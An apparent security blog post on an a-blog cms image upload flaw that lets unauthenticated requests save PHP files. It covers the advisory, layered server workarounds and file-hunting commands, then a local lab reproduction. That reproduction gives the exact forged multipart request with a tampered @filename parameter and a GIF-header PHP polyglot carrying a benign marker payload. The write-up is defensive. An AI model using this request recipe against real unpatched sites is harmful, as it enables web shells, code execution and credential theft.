a-blog cms Image Upload Extension Bypass Lets Unauthenticated Requests Save PHP Files
Contents
TL;DR
Last updated November 17, 2026 (initial advisory published November 11; workaround expanded November 16).
What happened a-blog cms versions before Ver. 3.2.40 (3.2.x), Ver. 3.1.81 (3.1.x), and Ver. 3.0.70 (3.0.x), plus all Ver. 2.11.x and earlier releases, lack proper file extension validation on image uploads. Unauthenticated requests can save .php or other non-image files even when a site has no image upload form field, and depending on request parameters or server configuration, files can be saved outside archives (including document root).
What to do If you operate an affected version:
- Update Ver. 3.0.x or later to the fixed release (
3.2.40+,3.1.81+, or3.0.70+); migrate Ver. 2.x sites to 3.0.x or later (no security patch is provided). - If you cannot update right away, apply all three workaround layers from the November 16 advisory update.
- Search for suspicious files created or modified since November 11, 2026, when exploitation was confirmed.
On November 11, 2026, the developer of a-blog cms published an urgent security advisory on an image upload extension-validation flaw.
The vulnerability lies in how the image upload handler checks incoming file extensions, and a November 16 update expanded the required workarounds. Sites that applied only the November 11 rules may still be exposed unless the added rules are put in place.
As of November 17, 2026, the advisory lists no JVN or CVE identifier, and this is a separate issue from the form attachment path traversal vulnerability (JVN#20829034 / CVE-2026-87727) disclosed in September. In the second half of this post, I compare Ver. 3.2.39 and 3.2.40 in a local Docker setup to check which form paths allow file writes and under what conditions files land outside archives.
What the vulnerability allows
When a-blog cms (a PHP-based CMS) receives an image upload from the admin panel or a form, it normally saves the file under the archives directory inside the document root (the top-level web-accessible directory).
Although only image extensions should be accepted, a forged request can write files with non-image extensions such as .php.
If a PHP file lands in a web-accessible directory and the server is configured to execute PHP there, requesting that URL runs the PHP code on the server (meaning the vulnerability’s impact depends on both where the file lands and whether your web server executes .php files in that directory).
This gives an attacker a foothold to run arbitrary code, opening the site to web shells (malicious browser-controlled scripts), leaks of database credentials or third-party API keys from configuration files, and website defacement.
Exploitation requires only unauthenticated HTTP access to send a forged request to a vulnerable version.
The advisory explicitly states that sites without any image-upload form field are still affected. Even if no <input type="file"> image field appears on the visible HTML form, an attacker does not need to use the browser UI: they can send a custom POST request with upload parameters (such as pocimg@filename=...) using curl or a script, and the CMS backend still runs the upload handler. Having no image field on your contact form does not make a site safe.
flowchart TD
A["Unauthenticated third party sends<br/>a forged upload request"] --> B["Extension check is bypassed and<br/>files such as .php are saved"]
B --> C["Saved under archives<br/>(or document root depending on config)"]
C --> D["Requesting the URL executes<br/>scripts on the server"]
D --> E["Credential leakage from config files<br/>and site defacement"]
What changed in the November 16 update
The November 11 workaround only blocked script execution under the archives directory.
On November 16, the developer added a warning that certain forged requests can save files outside archives, including locations under the document root. Blocking execution inside archives alone does not stop a .php file written outside it from running.
Because of that, the temporary workaround (until you can upgrade to a patched core version) now has three layers: blocking scripts under archives (Layer 1), blocking all scripts other than index.php under the document root (Layer 2), and filtering unexpected upload-related POST parameters in config.user.php (Layer 3). Layer 2 alone cannot prevent index.php itself from being overwritten in the document root, so Layer 3 is required alongside it.
On November 16, the regex patterns were also updated so URLs with trailing path segments after a script name (such as /x/index.php/a.jpg) are blocked as well, changing the regex suffix to (\.|/|$) in the Layer 2 rules and the archives nginx rule. Sites that deployed the November 11 snippet need to replace it with the updated version.
Layer 1: Block script execution under archives
The snippets below reflect the advisory as checked on November 17, 2026. Because the advisory has already been revised once, verify the latest snippets on the official page before applying them.
For Apache 2.4 and later, add the following to .htaccess directly inside archives (append to it if one already exists). The trailing (\.|$) catches double extensions like shell.php.jpg. Apache 2.2 syntax and guidance for servers where .htaccess overrides (AllowOverride) are disabled are available in the official advisory.
<FilesMatch "(?i)\.(php[0-9]?|phtml|pht|phps|phar|cgi|pl|py|sh|shtml)(\.|$)">
Require all denied
</FilesMatch>
For nginx, place this inside the server block so it is evaluated before the location block that passes PHP requests, then reload nginx.
location ~* ^/(?:.*/)?archives/.*\.(php[0-9]?|phtml|phps|pht|phar|cgi|pl|py|sh|shtml)(\.|/|$) {
deny all;
}
Layer 2: Block everything except document root index.php
Layer 2 from the November 16 update blocks all scripts except index.php at the document root, which stops a-blog cms maintenance scripts and any other PHP applications running on the same server. If you need other PHP endpoints to keep working, add exclusion rules for their paths before deploying. If a-blog cms is installed in a subdirectory, adjust /index\.php accordingly.
On Apache, place these rules immediately after RewriteEngine on in the document root .htaccess. On servers running PHP via CGI (for example, when Action or AddHandler appears in .htaccess), keep the leading RewriteCond %{ENV:REDIRECT_STATUS} ^$ line intact, or the entire site may stop rendering. Note also that on Apache, URLs whose intermediate path segments end in an extension like /tag/a.sh/ will be blocked.
RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond %{REQUEST_URI} !^/index\.php$ [NC]
RewriteCond %{REQUEST_URI} \.(php|cgi|pl|py|sh|exe|bin|dll|bat|cmd|msi|jar)(/|$) [NC]
RewriteRule ^.*$ - [F,L]
On nginx, place the following block before the PHP location block.
location ~* ^(?!/index\.php$).*\.(php|cgi|pl|py|sh|exe|bin|dll|bat|cmd|msi|jar)(\.|/|$) {
deny all;
}
Layer 3: Filter unexpected upload parameters in config.user.php
For Layer 3, append the PHP function provided in the official advisory to config.user.php.
It strips unexpected @-suffixed upload parameters (such as @filename or @extension alongside standard ones like alt and width) from $_POST before a-blog cms processes them.
If config.user.php does not exist in the document root, create it; if it does, append the code without the leading <?php line. Versions 2.9 and earlier do not load config.user.php, so the code goes at the end of config.server.php instead.
The advisory notes that this filter breaks certain features, though it withholds which ones for security reasons. After applying it, test saving settings in the admin panel and submitting forms that include file or image uploads.
Verification after applying the workarounds
Place a harmless plain-text file with a .php extension inside archives temporarily, open it in a browser, and confirm it returns 403 Forbidden (or similar) rather than displaying its contents. If you added Layer 2, confirm other PHP scripts and forms still work, and always delete the test file afterward.
Because the official advisory stresses that these workarounds may not stop every case, updating to a fixed release as soon as possible remains the priority.
Updating to a fixed version
The fixed releases by branch are listed below. Ver. 2.11.x and earlier have reached end of maintenance and receive no security fixes, requiring an upgrade to 3.0.x or later.
| Branch | Fixed release |
|---|---|
| 3.2.x | Ver. 3.2.40 or later |
| 3.1.x | Ver. 3.1.81 or later |
| 3.0.x | Ver. 3.0.70 or later |
| 2.11.x and earlier | None (upgrade to 3.0.x or later required) |
As of November 17, 2026, Ver. 3.2.40 is listed on the official download page.
Once you update the CMS core, remove the Layer 3 snippet added to config.user.php or config.server.php. Core updates do not overwrite those two files, so leaving the snippet in place will keep the affected features disabled.
The fixed versions also prohibit unauthenticated image uploads by default. If your site relies on unauthenticated users uploading images (such as a public registration form), add the following line to private/config.system.yaml only if needed to re-enable it.
image_upload_prohibit_anonymous: off
Hunting for suspicious files already placed
According to the official advisory, active exploitation has been observed since November 11, 2026.
The advisory provides find examples using both -mtime (file content modification time) and -ctime (inode metadata change time, including permissions and ownership). Because the official examples use a 5-day window (-mtime -5 / -ctime -5), widen the window to at least 7 days when checking on November 17, 2026 so November 11 onward is covered.
Because updating the CMS overwrites core files with current timestamps, the directories to search differ before and after an update.
Searching before an update
Exclude the cache directory (which holds many temporary files) and scan the entire document root, then clear everything inside cache except .htaccess.
cd /path/to/document-root
find . -type d -name "cache" -prune -o -type f -mtime -7 -print
find . -type d -name "cache" -prune -o -type f -ctime -7 -print
Searching after an update
To avoid core files overwritten by the update, check only files directly under the document root, plus archives, archives_rev, media, storage, cron, extension, private, and themes excluding system, using both -mtime and -ctime.
cd /path/to/document-root
find . -maxdepth 1 -type f -mtime -7 -print
find archives archives_rev media storage cron extension private -type f -mtime -7 -print
find themes -type d -name "system" -prune -o -type f -mtime -7 -print
find . -maxdepth 1 -type f -ctime -7 -print
find archives archives_rev media storage cron extension private -type f -ctime -7 -print
find themes -type d -name "system" -prune -o -type f -ctime -7 -print
In the official advisory, each directory is listed on its own line; combining archives through private into one line will print an error for any directory that does not exist on your setup while continuing through the rest.
Using scan.php when SSH is unavailable
For hosting environments without SSH access, the advisory also includes a scan.php snippet that runs those find commands via PHP and displays the results in a browser. Because it relies on shell_exec (which executes OS commands), leaving scan.php on the server creates an entry point of its own—delete it immediately after checking.
If suspicious files are found
If the scan turns up non-image extensions under archives or unfamiliar files under the document root or elsewhere, the advisory instructs setting their permissions to 000 (blocking all read, write, and execute access). Because configuration files may have been read, consider the following follow-up steps in addition to updating.
| Action | Details |
|---|---|
| Check access logs | Inspect web server logs for requests targeting the suspicious files |
| Rotate credentials | Consider reissuing database passwords, third-party API keys, and encryption keys |
| Notify stakeholders | Consider reporting to relevant parties if personal data may have been exposed |
Local Docker verification
The official advisory leaves open how uploads succeed on forms without an image field and under what exact conditions files land outside archives. To inspect both behaviors, I spun up a local Docker environment and compared Ver. 3.2.40 against 3.2.39. All requests stayed inside the local machine; no requests were sent to any external site.
If you only need to secure a live site, the steps above are enough and you can skip the rest of this post. In short, default archives/ installs stripped ../ sequences and kept uploads inside archives, whereas changing ARCHIVES_DIR allowed writes directly into the document root.
Test environment
I ran php:8.2-apache (PHP 8.2.35 / Apache 2.4.69 Debian, GD enabled, no ImageMagick) alongside mysql:8.0 in Docker containers bound only to 127.0.0.1, using the official release archives:
https://developer.a-blogcms.jp/_package/3.2.39/acms3.2.39_update2x.zip (26,361,127 bytes)
https://developer.a-blogcms.jp/_package/3.2.40/acms3.2.40.zip (39,225,526 bytes)
No full installer archive was available for 3.2.39 (acms3.2.39.zip returned 404, leaving only the _update2x package), so I installed from acms3.2.40.zip first and swapped php/ to 3.2.39 for comparison. I completed phases 1–6 of the setup wizard via curl POST requests; the wizard rejected a domain containing a port number as invalid, so I configured the domain as 127.0.0.1. I used the demo site theme and targeted /contact/ (form ID contactForm) with no license key.
Code diff between 3.2.39 and 3.2.40
diff -rq between 3.2.39 and 3.2.40 showed 173 changed files, with the core security fixes inside four files under php/Services/Field/. Because php/Application.php and php/main.php are obfuscated, direct code inspection was limited to plaintext files under php/Services/, where I added trace logging to follow execution.
In 3.2.39, ImageFieldHandler.php split the target path into $match via regex and built the saved filename as follows:
$extension = !empty($match[3]) ? $match[3] : Image::detectImageExtenstion($xy['mime']);
$dirname = $match[1];
$basename = !empty($match[2]) ? $match[2] . $extension : uniqueString() . '.' . $extension;
With this logic, extensions taken from POST parameters {field}@filename or {field}@extension are used directly without an allowlist check. Image validation relies solely on getimagesize(), and when no resize option is given, GdEngine::copyImage() copies raw bytes as-is without re-encoding, preserving embedded PHP code. By contrast, FileFieldHandler (the file field type) already called validateAllowedExtension(), so the gap was specific to the image type.
Ver. 3.2.40 adds five protections, three of which—unauthenticated rejection, extension allowlisting, and double-extension sanitization—are tested in the reproduction below.
| Addition | Behavior |
|---|---|
Image::isAllowedImageExtension() | Image extension allowlist, enforced again in copyImage() |
UploadFieldHandler::sanitizeFileNameStem() | Replaces dots, spaces, and control characters in the stem with _ (x.php.jpg → x_php.jpg) |
isAnonymousUploadProhibited() | Rejects unauthenticated uploads via image_upload_prohibit_anonymous (default on) |
UploadedFilesNormalizer | Rejects candidate paths containing control chars, backslashes, or dot-prefixed directories |
GdEngine::copyImage($from,$to,$format) | Re-encodes whenever the target extension differs from the detected image format |
Payload and forged request
To pass getimagesize() while carrying valid PHP code, I first tried placing PHP inside a GIF comment extension or embedding two PHP tags in a 323-byte 1x1 GIF. Both failed with PHP parse errors because binary bytes outside the tags or bytes after exit were parsed again. Placing a single benign marker snippet immediately after the 13-byte GIF header passed getimagesize() as image/gif and executed cleanly under PHP, with no command execution, outbound network calls, or persistence.
<?php header("Content-Type: text/plain"); echo "LAB-PoC-20261117\n";
echo "php=".PHP_VERSION."\n"; echo "user=".posix_geteuid()."\n";
echo "docroot=".$_SERVER["DOCUMENT_ROOT"]."\n"; echo "cwd=".getcwd()."\n"; exit; ?>
On the request side, early attempts without the ACMS_POST_Form_Confirm POST handler name returned HTTP 200 without invoking fire(). Adding a nonexistent field name (pocimg) into field[] still triggered the upload handler, confirming why forms without image inputs are vulnerable. Even when required form fields (inquiry type, address, consent) were omitted so validation failed, the upload handler ran beforehand and saved the file. The final unauthenticated request fetched formToken and formUniqueToken from /contact/ and sent:
POST /contact/?step=reapply
Content-Type: multipart/form-data
id=contactForm
step=confirm
error=reapply
ACMS_POST_Form_Confirm=内容の確認へ
formToken=(GETしたページの値)
formUniqueToken=(同上)
field[]=pocimg
pocimg:extension=image
pocimg@filename=labtest/e2e.php ← tampered parameter
field[]=name / name=lab
field[]=email / email=lab@example.invalid
field[]=inquiry / inquiry=lab test
pocimg=(poc.gif, Content-Type: image/gif)
Reproduction results
Using that request structure across versions, settings, and parameters produced these results:
| # | Condition | Result |
|---|---|---|
| 1 | 3.2.40 (fixed), default config, @filename=labtest/normal.gif | Blocked; audit log recorded unauthenticated image upload rejection |
| 2 | 3.2.39, @filename=labtest/normal.gif | Saved archives/001/labtest/normal.gif (baseline control; 001 is the blog ID / BID) |
| 3 | 3.2.39, @filename=labtest/shell.php | Saved archives/001/labtest/shell.php with trailing PHP code intact |
| 4 | 3.2.39, @extension=php (no filename) | Saved archives/001/202611/<64-char hex>.php |
| 5 | 3.2.39, @filename=labtest/double.php.jpg | Saved double.php.jpg; Apache executed it as PHP |
| 6 | 3.2.39, no workaround, GET /archives/001/labtest/e2e.php | HTTP 200 and PHP code execution (output below) |
| 7 | 3.2.40, image_upload_prohibit_anonymous: off, @filename=labtest/blocked2.php | Blocked; audit log recorded non-image extension rejection |
| 8 | 3.2.40, same as above, @filename=labtest/allowed.gif | Saved (valid images allowed when unauthenticated uploads are enabled) |
| 9 | 3.2.40, same as above, @filename=labtest/double.php.jpg | Sanitized to double_php.jpg |
Requesting /archives/001/labtest/e2e.php from condition 6 with curl returned HTTP 200 running under uid 33 (www-data):
LAB-PoC-20261117
php=8.2.35
user=33
docroot=/var/www/html
cwd=/var/www/html/archives/001/labtest
Workaround effectiveness and server differences
Next, I tested whether the November 11 archives/.htaccess FilesMatch rule blocked execution on 3.2.39:
| URL | No workaround | November 11 rule in archives |
|---|---|---|
/archives/001/labtest/e2e.php | 200, executed | 403, blocked |
/archives/001/labtest/double.php.jpg | 200, executed | 403, blocked |
/archives/001/labtest/e2e.php/a.jpg (PATH_INFO) | 200, executed | 403, blocked |
The (\.|$) pattern stopped both double extensions and appended PATH_INFO paths.
Earlier in testing, direct .php requests initially returned 403 for a different reason: the htaccess.txt shipped in the 3.2.40 root already contains <FilesMatch "\.php$"> Require all denied </FilesMatch> and <Files "index.php"> Require all granted </Files>. Sites using that root configuration already block direct .php access, whereas Layer 2 protects sites missing it. With the root unrestricted and only the default archives/.htaccess (RemoveHandler php ...) present, .php files executed with HTTP 200:
| Setup | Direct .php access |
|---|---|
3.2.40 root htaccess.txt active (denies all .php except index.php) | 403, not executed |
Unrestricted root + default archives (RemoveHandler only) | 200, executed |
Unrestricted root + November 11 archives workaround | 403, not executed |
RemoveHandler failed here because the Docker Apache setup handles PHP via SetHandler application/x-httpd-php (in docker-php.conf), and RemoveHandler only clears AddHandler bindings. On shared hosts using AddHandler php7.x-script .php, RemoveHandler can stop execution, whereas SetHandler or ProxyPassMatch (php-fpm) setups ignore it—a key difference between this test container and external hosting setups.
Checking how files can land outside archives
Every file written in the tests above stayed inside archives/001/. To see what could trigger the November 16 advisory’s “outside archives (including document root)” behavior, I tested four possibilities in order:
- Path traversal with
../or absolute paths - Permissive document root permissions
- Code differences in the 3.1.x and 3.0.x branches
- Changing the
ARCHIVES_DIRconstant inconfig.server.php
1. Path traversal with ../
Sending ../ and leading / values in @filename on default 3.2.39 produced these paths:
@filename value | After sanitizePathOptions() | Actual saved path |
|---|---|---|
../../labroot.php | labroot.php | archives/001/labroot.php |
../labup1.php | labup1.php | archives/001/labup1.php |
a/../../labdot.php | a/labdot.php | archives/001/a/labdot.php |
/lababs.php | /lababs.php | archives/001//lababs.php |
....//labdot2.php | labdot2.php | archives/001/labdot2.php |
%2e%2e/labenc2.php | unchanged | archives/001/%2e%2e/labenc2.php (literal directory created) |
Testing @rawfilename with a $_FILES filename of ../../labraw.php also stripped ../../ to labraw.php and saved to archives/001/202611/labraw.php.
Inspecting UploadedFilesNormalizer::sanitizePathOptions() showed preg_replace('/\.+\/+/', '', ...) stripping ../ sequences first, followed by a mandatory blog ID prefix (sprintf('%03d', BID) . '/'), which prevents leading slashes from acting as absolute paths.
2. Server permissions and other entry points
Even with ../ stripped, I wanted to verify whether strict vs. permissive document root permissions changed anything. Running on Docker Desktop for macOS with a bind mount (./www:/var/www/html) initially hid permissions because the mount type was fakeowner, allowing www-data to write even into a root:root 755 directory:
/run/host_mark/Users on /var/www/html type fakeowner (rw,nosuid,nodev,relatime,fakeowner)
To test real Linux permissions, I copied the site to /opt/labroot inside the container filesystem:
| Path | Owner:Group | Mode |
|---|---|---|
/opt/labroot (document root) | root:root | 755 |
/opt/labroot/archives | www-data:www-data | 755 |
/opt/labroot/archives/001 | www-data:www-data | 755 |
config.server.php | www-data:www-data | 664 |
After confirming su -s /bin/bash www-data -c "touch /opt/labroot/probe" failed with Permission denied and pointing Apache’s DocumentRoot to /opt/labroot, @filename=../../permtest.php still wrote to archives/001/permtest.php. Because the path is sanitized before any filesystem write, document root permissions alone do not let ../ escape archives on the 3.2.39 image form path.
Checking other 3.2.39 upload entry points showed that only image custom fields lacked both authentication and extension checks:
| Entry point | Reachable unauthenticated | Extension check |
|---|---|---|
image custom field (tested here) | Yes | None (vulnerable) |
file custom field | Yes | validateAllowedExtension() present |
ACMS_POST_Media_Upload (media library) | No (Media::validate() requires auth) | validateFileName() present |
ACMS_POST_Image (admin image ops) | Admin only | — |
CopyEntryArchive (static export) | Admin only | — |
3.2.40 also added rejections in UploadedFilesNormalizer for control characters, backslashes, and dot-prefixed directories. Dot-prefixed directories still work in 3.2.39 (@filename=.hidden/x.php saves to archives/001/.hidden/x.php), which could allow planting .htaccess or .user.ini, though still inside archives.
3. Code comparison with 3.1.x and 3.0.x
To see whether older branches handled paths differently, I extracted the upload code from the 3.1.80 and 3.0.69 release zips (the public GitHub repository appleple/ablogcms-package lists only up to ver 2.5.1.2 in its README).
| Branch | Upload handler location |
|---|---|
| 3.2.39 | php/Services/Field/ImageFieldHandler.php (split into service classes) |
| 3.1.80 / 3.0.69 | Inline in php/Services/Common/Helper.php (near-duplicate code for image and file types) |
This duplication matches the 3.2.40 comment noting that before refactoring it was a 367-line branch in FieldExtractor::extract() with 31 matching statements. In 3.1.80 (Services/Common/Helper.php, around line 1846):
if (!preg_match('@((?:[^/]*/)*)((?:[^.]*\.)*)(.*)$@', sprintf('%03d', BID) . '/' . $c['filename'], $match)) { ... }
$extension = !empty($match[3]) ? $match[3] : Image::detectImageExtenstion($xy['mime']);
$dirname = $match[1];
$basename = !empty($match[2]) ? $match[2] . $extension : uniqueString() . '.' . $extension;
$normalPath = $ARCHIVES_DIR . $dirname . $basename;
Ver. 3.0.69 uses the same structure. All three branches (3.2.39, 3.1.80, 3.0.69) share the missing extension allowlist while still stripping ../ and prepending the BID, so branch differences did not create a path outside archives.
4. Reproducing outside-archives writes via ARCHIVES_DIR
With branch differences ruled out, I looked at the ARCHIVES_DIR constant in config.server.php, which sets the base directory for all saved uploads:
define('THEMES_DIR', 'themes/');
define('ARCHIVES_DIR', 'archives/'); // ← target constant
define('MEDIA_LIBRARY_DIR', 'media/');
Because every saved path takes the form ARCHIVES_DIR . sprintf('%03d', BID) . '/' . $filename, setting ARCHIVES_DIR to '' (the document root itself) puts uploads outside archives. I tested three runs with ARCHIVES_DIR set to '':
| # | Document root permissions | Result |
|---|---|---|
| 1 | root:root 755 (www-data not writable) | HTTP 200 with 0-byte response; no file written |
| 2 | www-data:www-data 755 (writable) | Saved to /opt/labroot/001/labtest/adir2.php |
| 3 | Same as above (@filename=rootdirect.php) | Saved to /opt/labroot/001/rootdirect.php |
Condition 1 failed because PublicStorage::makeDirectory() could not create 001/ directly inside the document root, throwing an exception at fopen(..., 'x'). Document root permissions decide whether a file is written on this path.
Requesting the file from condition 2 (GET /001/labtest/adir2.php) executed PHP under www-data with HTTP 200:
LAB-PoC-20261117
php=8.2.35
user=33
docroot=/opt/labroot
cwd=/opt/labroot/001/labtest
With the November 11 FilesMatch rule active in archives/.htaccess, the file inside archives was blocked while the file under the document root ran:
| URL | Location | Result |
|---|---|---|
/archives/001/labtest/e2e.php | Inside archives | 403, blocked |
/001/labtest/adir2.php | Outside archives (under document root) | 200, executed |
This confirms locally why archives/.htaccess alone is insufficient and why Layer 2 is needed. That said, this reproduction depends on changing ARCHIVES_DIR away from its default archives/ setting. I did not inspect 2.x branch preprocessing, external object storage like S3, derivative image generation (large, tiny, square, .webp), or custom plugin/hook uploaders, so it remains open whether the November 16 advisory refers to custom ARCHIVES_DIR setups or another unexamined code path.